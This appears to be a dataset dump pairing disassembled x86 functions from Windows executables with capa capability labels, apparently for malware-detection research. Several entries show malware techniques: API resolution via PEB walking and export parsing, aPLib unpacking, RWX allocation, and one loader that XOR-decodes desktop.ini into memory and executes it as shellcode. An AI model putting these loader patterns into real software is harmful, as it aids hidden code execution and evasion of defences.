joyce8/EMBER2024-capa huggingface dataset:
Function at 0x79bf149e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
lea ebx, [eax + edi + 0x78]
mov eax, dword [ebx]
test eax, eax
je 0x79bf154d
cmp dword [ebx + 4], 0x28
jb 0x79bf154d
lea esi, [eax + edi]
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x79bf154d
mov edx, dword [esi + 0x20]
cmp edx, eax
jb 0x79bf154d
lea edx, [edx + ecx*4]
mov ecx, dword [ebx + 4]
add ecx, eax
cmp ecx, edx
jb 0x79bf154d
mov eax, dword [esi + 0x20]
and dword [ebp + 8], 0
add eax, edi
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x1c]
add eax, edi
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x24]
add eax, edi
cmp dword [esi + 0x18], 0
mov dword [ebp - 0xc], eax
jbe 0x79bf154d
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
lea eax, [eax + ecx*4]
mov ecx, dword [ebx]
cmp ecx, dword [eax]
ja 0x79bf1542
mov eax, dword [eax]
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebx]
mov ecx, dword [ebp - 8]
add edx, dword [ebx + 4]
lea eax, [eax + ecx + 1]
cmp eax, edx
ja 0x79bf1542
push dword [ebp + 0xc]
lea eax, [ecx + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x79bf1554
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x18]
jb 0x79bf1504
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp + 8]
cmp dword [esi + 0x14], ecx
jbe 0x79bf154d
mov esi, dword [esi + 0x1c]
mov eax, dword [ebx]
cmp esi, eax
jb 0x79bf154d
lea edx, [esi + ecx*4 + 4]
mov esi, dword [ebx + 4]
add esi, eax
cmp esi, edx
jb 0x79bf154d
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + ecx*2]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + eax*4]
jmp 0x79bf154f

Function at 0x79bf1624
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov edi, 0x101000
push edi
push dword [esp + 0x14]
push 0
call esi
test eax, eax
jne 0x79bf164a
push 4
push edi
push dword [esp + 0x14]
push eax
call esi
pop edi
pop esi
ret
Function at 0x79bf1d69
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, ecx
push edi
mov edi, dword [esi + 4]
test edi, edi
jne 0x79bf1db2
mov ecx, dword [eax + 4]
push edi
mov dword [ebp - 4], ecx
lea ecx, [ebp - 4]
push ecx
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x79bf1dae
cmp dword [ebp - 8], ebx
je 0x79bf1de3
xor eax, eax
jmp 0x79bf1de6
mov esi, dword [esi + 8]
mov edx, ebx
xor ecx, ecx
add edx, dword [eax]
adc ecx, dword [eax + 4]
xor ebx, ebx
cmp ebx, ecx
jg 0x79bf1dd4
jl 0x79bf1dca
cmp esi, edx
jae 0x79bf1dd4
push 0xd
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x79bf1dae
mov ecx, dword [eax]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
add ecx, edi
call fcn.79bf165f
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x79bf1ebc
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
xor ebx, ebx
cmp dword [eax + 0x38], ebx
jne 0x79bf1ed9
push 2
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x79bf206a
mov ecx, dword [ebp + 0xc]
push edi
lea edi, [eax + 0x30]
push 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
mov eax, edi
call fcn.79bf1d69
add esp, 0xc
test eax, eax
je 0x79bf1f0f
push dword [ebp - 0x14]
call fcn.79bf1624
pop ecx
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x79bf1f16
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x79bf2069
mov eax, dword [edi]
mov edi, dword [edi + 4]
mov ecx, dword [ebp + 0xc]
push esi
push dword [ebp - 0x14]
add eax, 0xc
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
push dword [ebp + 8]
adc edi, ebx
lea eax, [ebp - 0xc]
mov dword [ebp - 8], edi
call fcn.79bf1d69
mov eax, dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
add esp, 0xc
push ebx
push eax
push ebx
push 0x40
push ebx
push 0xffffffffffffffff
mov dword [ebp - 8], eax
call edi
mov esi, eax
cmp esi, ebx
jne 0x79bf1f6c
push ebx
push dword [ebp - 8]
push ebx
push 4
push ebx
push 0xffffffffffffffff
call edi
mov esi, eax
cmp esi, ebx
je 0x79bf1f97
push ebx
push ebx
push ebx
push 0x26
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, ebx
jne 0x79bf1fa2
push ebx
push ebx
push ebx
push 6
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, ebx
jne 0x79bf1fa2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call fcn.79bf164d
pop ecx
jmp 0x79bf200b
cmp dword [ebp - 0x10], ebx
jne 0x79bf1fb6
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
mov eax, edi
call fcn.79bf165f
jmp 0x79bf1fc5
push dword [ebp - 0x18]
push edi
push dword [ebp - 4]
call fcn.79bf2460
add esp, 0xc
push dword [ebp - 4]
call fcn.79bf164d
mov eax, dword [edi + 0x3c]
pop ecx
cmp edi, dword [eax + edi + 0x34]
je 0x79bf2015
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
push ebx
push ebx
push ebx
push 0x26
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov edi, eax
cmp edi, ebx
jne 0x79bf2015
push ebx
push ebx
push ebx
push ebx
push 0x26
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov edi, eax
cmp edi, ebx
jne 0x79bf2015
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x79bf205c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp + 0x10], bl
je 0x79bf2033
push dword [ebp - 0x18]
push edi
call fcn.79bf191b
pop ecx
pop ecx
test al, al
jne 0x79bf2033
push edi
jmp 0x79bf2056
mov eax, dword [edi + 0x3c]
lea esi, [eax + edi + 0x18]
mov eax, edi
sub eax, dword [esi + 0x1c]
push eax
call fcn.79bf1673
push dword [esi + 0x68]
push esi
call fcn.79bf1749
add esp, 0xc
push edi
test al, al
jne 0x79bf2060
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor eax, eax
jmp 0x79bf2068
call fcn.79bf1e6e
pop ecx
mov eax, edi
pop esi
pop edi
pop ebx
leave
ret
Function at 0x79bf2460
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
mov bl, byte [eax]
push esi
cmp bl, 0xd8
je 0x79bf2491
cmp bl, 0xd7
je 0x79bf2491
mov esi, dword [esp + 0x14]
lea ecx, [eax + 1]
test esi, esi
jle 0x79bf24b9
mov eax, dword [esp + 0x10]
sub ecx, eax
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
sub esi, 1
jne 0x79bf2483
pop esi
pop ebx
ret
mov esi, dword [esp + 0x10]
push esi
inc eax
push eax
call fcn.79bf24de
cmp bl, 0xd8
jne 0x79bf24b9
mov ecx, dword [esp + 0x14]
xor eax, eax
test ecx, ecx
jle 0x79bf24b9
lea esp, [esp]
xor byte [eax + esi], 0xf0
inc eax
cmp eax, ecx
jl 0x79bf24b0
pop esi
pop ebx
ret

Function at 0x4010f0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x40332c], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov eax, dword [ebp + 4]
mov dword [0x40319f], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401121
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40319f]
mov dword [ebp - 0x48], eax
mov eax, 0x401b7b
mov dword [ebp - 0x54], eax
mov ecx, 0x4030bd
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x40319f]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x403378], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403378]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4011d9
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4011cb
mov esp, ebp
ret
Function at 0x41f140
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
jmp 0x41f51b
mov esi, dword [esi]
cmp esi, edx
jne 0x41fc2f
pop edi
jmp 0x41fe21
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
jmp 0x41fb12
jne 0x41f1be
push dword [ebp + 8]
pop dword [esi + 0x18]
push dword [ebp + 0x10]
jmp 0x41fe83
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov edx, dword [ebx + 0xc]
mov esi, dword [ebx + 0xc]
jmp 0x41fc2f
mov eax, dword [esi + 0x1c]
cmp eax, edi
jmp 0x41f5be
pop esi
pop ebx
leave
ret 0x10
pop dword [esi + 0x1c]
push dword [ebp + 0x14]
pop dword [esi + 0x20]
jmp 0x41f1c8

Function at 0x41f44f
Capabilities:
Decompress data using aplib

Disassembly:
cmp eax, 0x7d00
jae 0x41f6dc
cmp ah, 5
jae 0x41f6dd
jmp 0x41f6d7
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
cld
mov dl, 0x80
jmp 0x41ff2c
call fcn.0041f737
jae 0x41f59a
xor eax, eax
jmp 0x41f528
push ebp
mov ebp, esp
pushal
jmp 0x41f1b0
call fcn.0041f737
jae 0x41f7fb
mov bl, 2
inc ecx
mov al, 0x10
jmp 0x41f978
stosb byte es:[edi], al
jmp 0x41fd35
call fcn.0041f589
jmp 0x41f7e9
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41fd35
cmp eax, 0x7f
ja 0x41f6de
inc ecx
inc ecx
xchg ebp, eax
jmp 0x41f716
mov eax, ebp
mov bl, 1
push esi
jmp 0x41f695
sub ecx, ebx
jne 0x41fe39
call fcn.0041f587
jmp 0x41f716
lodsb al, byte [esi]
jmp 0x41fddd
call fcn.0041f737
adc al, al
jae 0x41f978
jne 0x41f71a
jmp 0x41f594
mov dword [esp + 0x1c], edi
popal
leave
ret 8
call fcn.0041f737
jae 0x41ff2e
xor ecx, ecx
jmp 0x41f2ec
sub edi, dword [esp + 0x28]
jmp 0x41fa1a
shr eax, 1
je 0x41fd67
adc ecx, ecx
jmp 0x41f6dc
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.0041f587
jmp 0x41f15c
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
jmp 0x41fd35

Function at 0x41f4b1
Capabilities:
Access peb ldr_data

Disassembly:
mov ebx, edx
mov edx, dword [edx]
xor eax, eax
jmp 0x41f54d
jmp 0x41ff00
rol edi, 7
lodsw ax, word [esi]
jmp 0x41f2d2
cmp eax, 0x61
jb 0x41fefd
cmp eax, 0x7a
ja 0x41fefd
and eax, 0xffffffdf
jmp 0x41fefd
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
lea edx, [edx + 0xc]
jmp 0x41f183
push ebp
mov ebp, esp
push ebx
push esi
push edi
jmp 0x41f43a
xor edi, edi
cmp edx, ebx
jne 0x41f558
jmp 0x420074
lea esi, [edx + 0x2c]
jmp 0x41f93b
movzx ecx, word [esi]
mov esi, dword [esi + 4]
shr ecx, 1
jmp 0x41f20d
leave
ret 4
jne 0x42006f
mov eax, dword [edx + 0x18]
jmp 0x420074
add edi, eax
dec ecx
or ecx, ecx
jne 0x41f212
cmp edi, dword [ebp + 8]
jmp 0x41fa57
jmp 0x41f185
pop edi
pop esi
pop ebx
jmp 0x41f997
Function at 0x41ffd8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [esi]
add ecx, edx
xor eax, eax
push edx
jmp 0x420100
add eax, edx
inc ecx
cmp byte [ecx], 0
jmp 0x41ffa8
push edi
mov eax, dword [ebp + 8]
add eax, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
mov eax, dword [eax + 0x78]
jmp 0x41fa4b
add esp, 0xfffffffc
push ebx
push esi
jmp 0x41f6b4
xor eax, eax
pop ecx
add esi, 4
jmp 0x41fb06
add eax, edx
mov edi, eax
mov esi, dword [eax + 0x20]
jmp 0x41fc4c
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
jmp 0x41fb07
push ecx
jmp 0x41f025
inc ecx
cmp ecx, dword [ebp - 4]
jb 0x41faad
pop edi
jmp 0x41fcf7
add esi, edx
mov ecx, dword [eax + 0x18]
mov dword [ebp - 4], ecx
jmp 0x41faa6
cmp eax, ebx
jne 0x41f9d6
mov eax, dword [edi + 0x24]
add eax, edx
pop ecx
jmp 0x4200a0
pop esi
pop ebx
leave
ret 8
jne 0x420105
pop edx
xor eax, 0
jmp 0x41fc99
push ebp
mov ebp, esp
jmp 0x41f70f
movzx ecx, word [eax + ecx*2]
mov eax, dword [edi + 0x1c]
add eax, edx
jmp 0x4200e0
mov eax, dword [eax + ecx*4]
add eax, edx
jmp 0x41fb0c
jmp 0x41f348
movzx edx, byte [ecx]
rol eax, 7
jmp 0x41f345

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401491
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x42c9d8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push esi
push esi
push esi
push esi
push esi
push 0x20
lea eax, [ebp - 0x44]
push eax
call fcn.00410300
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x4014c5
or ax, 0xffff
jmp 0x401535
push 7
lea eax, [ebp - 0x44]
push 0x42538c
push eax
call section..text
add esp, 0xc
test eax, eax
jne 0x4014bf
cmp word [ebp - 0x44], si
lea ecx, [ebp - 0x44]
je 0x4014bf
movzx eax, word [ebp - 0x44]
cmp ax, 0x2e
je 0x4014ff
cmp ax, 0x20
je 0x4014ff
inc ecx
inc ecx
movzx eax, word [ecx]
cmp ax, si
jne 0x4014e9
cmp word [ecx], si
je 0x4014bf
movzx eax, word [ecx]
cmp ax, 0x30
jb 0x401513
cmp ax, 0x39
jbe 0x401517
inc ecx
inc ecx
jmp 0x401504
xor eax, eax
jmp 0x40152d
movzx edx, dx
imul eax, eax, 0xa
sub edx, 0x30
cmp edx, 9
ja 0x401535
add eax, edx
inc ecx
inc ecx
movzx edx, word [ecx]
cmp dx, si
jne 0x40151b
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004147a9
leave
ret

Function at 0x401ae6
Capabilities:
Delete file
Set file attributes

Disassembly:
mov ecx, dword [esp + 4]
push 0x80
call fcn.00410300
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [esp + 4]
call fcn.00410300
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
dec eax
neg eax
sbb eax, eax
neg eax
ret

Function at 0x401b13
Capabilities:
Hash data with crc32

Disassembly:
push esi
push 8
xor eax, eax
add ecx, ecx
pop esi
sar ecx, 1
mov edx, eax
xor edx, ecx
shr eax, 1
test dl, 1
je 0x401b2d
xor eax, 0xedb88320
dec esi
test esi, esi
jg 0x401b1b
pop esi
ret

Function at 0x401b50
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 8], 0
mov eax, dword [0x42e16c]
je 0x401b80
mov ecx, dword [esp + 4]
push esi
movzx edx, byte [ecx]
dec dword [esp + 0xc]
movzx esi, al
xor edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x42dd68]
inc ecx
cmp dword [esp + 0xc], 0
jne 0x401b61
pop esi
mov dword [0x42e16c], eax
ret
Function at 0x4020db
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, 0xf8
push edi
push 0x40
pop ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
test esi, esi
jne 0x402106
xor eax, eax
jmp 0x4021a3
or dword [ebp - 4], 0xffffffff
push 0x100
push ebx
push 0x8000
mov ecx, 0x430724
call fcn.00410300
push eax
lea eax, [ebp - 4]
push eax
call fcn.00415ecc
add esp, 0x14
test eax, eax
jne 0x4020ff
push ebx
push esi
push dword [ebp - 4]
call fcn.004155a9
add esp, 0xc
cmp eax, ebx
je 0x40214c
push dword [ebp - 4]
call fcn.00414f1b
pop ecx
jmp 0x4020ff
mov ebx, dword [esi + 0x3c]
push 0
push ebx
push dword [ebp - 4]
call fcn.00414dab
add esp, 0xc
cmp ebx, eax
jne 0x402141
push edi
push esi
push dword [ebp - 4]
call fcn.004155a9
add esp, 0xc
cmp eax, edi
jne 0x402141
mov eax, dword [esi + 0x28]
cmp eax, dword [0x42c05e]
push dword [ebp - 4]
jne 0x402144
call fcn.00414f1b
mov edi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
pop ecx
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402b20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.004175b0
mov ecx, dword [ebp + 8]
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], 0xa
call fcn.00410300
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
neg eax
sbb eax, eax
and eax, dword [ebp - 0x10]
pop esi
leave
ret
Function at 0x4033af
Capabilities:
Terminate process
Write file on windows

Disassembly:
push 0x14
mov eax, 0x42337e
call fcn.00414b99
mov eax, dword [0x43071c]
inc dword [0x43071c]
test eax, eax
je 0x4033d2
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x10]
call fcn.0040ff30
and dword [ebp - 4], 0
push 1
push dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.00410080
mov esi, eax
push 0x7d4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00410450
mov edi, eax
push dword [ebp + 0xc]
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.00410300
push eax
mov ecx, edi
call fcn.00410300
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004102b0
add esp, 0x10
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004104d0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call fcn.004104d0
mov edi, 0x7d0
push edi
lea ecx, [ebp - 0x1c]
call fcn.00410450
push 0x30
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00410300
push eax
lea ecx, [ebp - 0x10]
call fcn.00410300
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push eax
push dword [0x4306dc]
call esi
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0
call fcn.004104d0
lea ecx, [ebp - 0x14]
call fcn.0040d900
lea eax, [ebp - 0x14]
push 0
push eax
mov byte [ebp - 4], 4
call fcn.0040250f
pop ecx
pop ecx
lea ecx, [ebp - 0x14]
call fcn.00410220
test al, al
je 0x4034ac
push 0x425444
lea ecx, [ebp - 0x14]
call fcn.0040dd60
mov ebx, str.WZSFX32.RPT
push ebx
lea ecx, [ebp - 0x14]
call fcn.0040dd60
push 0
push 0x20
push 2
push 0
push 1
push 0x40000000
lea ecx, [ebp - 0x14]
call fcn.00410300
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x18], eax
je 0x4033ca
push 0x425424
lea ecx, [ebp - 0x10]
call fcn.004102d0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
call fcn.00410230
push eax
lea ecx, [ebp - 0x10]
call fcn.0040dd10
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x18]
call fcn.0040256b
pop ecx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d1
lea ecx, [ebp - 0x1c]
call fcn.00410450
push ebx
mov ecx, eax
mov byte [ebp - 4], 5
call fcn.00410300
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004102b0
add esp, 0xc
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 4
call fcn.004104d0
push edi
lea ecx, [ebp - 0x1c]
call fcn.00410450
push 0x30
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.00410300
push eax
lea ecx, [ebp - 0x10]
call fcn.00410300
push eax
push dword [0x4306dc]
call esi
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 4
call fcn.004104d0
jmp 0x4033ca
Function at 0x4035bc
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, 0x7000
push esi
push 0
push dword [0x42db24]
call fcn.004175b0
mov eax, dword [0x42db4e]
add esp, 0xc
test eax, eax
jg 0x4035e7
and dword [0x430670], 0
xor eax, eax
pop esi
ret
cmp eax, esi
ja 0x4035ed
mov esi, eax
push esi
push dword [0x42db24]
push dword [0x42c004]
call fcn.00408251
add esp, 0xc
cmp dword [0x43069c], 0
mov dword [0x430670], eax
je 0x403659
cmp eax, 0xffffffff
je 0x403659
cmp eax, esi
je 0x403665
test eax, eax
jl 0x403659
mov ecx, dword [0x42c00c]
mov edx, dword [0x4306a0]
inc ecx
call fcn.00401542
mov eax, dword [0x430670]
test eax, eax
jne 0x403652
push esi
push dword [0x42db24]
push dword [0x42c004]
call fcn.00408251
add esp, 0xc
mov dword [0x430670], eax
cmp eax, 0xffffffff
je 0x403659
mov esi, eax
cmp eax, esi
je 0x403665
push 2
pop ecx
jmp fcn.00401ec8
mov esi, dword [0x42db24]
mov ecx, dword [0x42c024]
mov dword [0x43066c], esi
test byte [ecx + 0x28], 1
je 0x4036b7
mov byte [0x4306f1], 1
test word [ecx + 0x28], 0x1300
jne 0x4036c3
push edi
mov edi, eax
test edi, edi
je 0x4036af
dec edi
call fcn.00407e9d
xor byte [esi], al
movzx eax, byte [esi]
push eax
call fcn.00407eb7
inc esi
test edi, edi
pop ecx
jne 0x403693
mov eax, dword [0x430670]
mov byte [0x4306f1], 0
pop edi
mov ecx, eax
dec eax
mov dword [0x430670], eax
mov eax, ecx
pop esi
ret
push 0xc1b
push dword [0x42c01c]
call fcn.004033af
int3

Function at 0x4038b8
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x118
mov eax, dword [0x42c9d8]
xor eax, ebp
mov dword [ebp + 0x74], eax
xor eax, eax
mov dword [0x4306a4], eax
mov dword [0x4306a8], eax
mov dword [0x4306ac], eax
mov dword [0x4306b0], eax
mov dword [0x4306b4], eax
mov dword [0x4306b8], eax
mov dword [0x4306bc], eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa0], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x40391c
push 0x1a3
push str.sfxheadw.c
call fcn.004033af
xor eax, eax
inc eax
cmp dword [ebp - 0x90], eax
jne 0x403945
cmp dword [ebp - 0x98], 0xa
jb 0x403991
cmp dword [ebp - 0x98], 0x5a
mov dword [0x4306a4], eax
jb 0x403991
mov dword [0x4306a8], eax
jmp 0x403991
cmp dword [ebp - 0x90], 2
jne 0x403991
cmp dword [ebp - 0x9c], 5
mov dword [0x4306ac], eax
jb 0x403991
mov dword [0x4306b0], eax
jne 0x40397e
cmp dword [ebp - 0x98], 2
jne 0x403971
mov dword [0x4306b4], eax
cmp dword [ebp - 0x98], eax
jb 0x403991
mov dword [0x4306b8], eax
cmp dword [ebp - 0x9c], 6
jb 0x403991
mov dword [0x4306b8], eax
mov dword [0x4306bc], eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
call fcn.004147a9
add ebp, 0x78
leave
ret

Function at 0x403e07
Capabilities:
Delete file
Move file

Disassembly:
cmp dword [0x4306ac], 0
jne 0x403e1f
push 0x50d
push str.sfxheadw.c
call fcn.004033af
mov ecx, dword [esp + 4]
push 4
push 0
call fcn.00410300
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
ret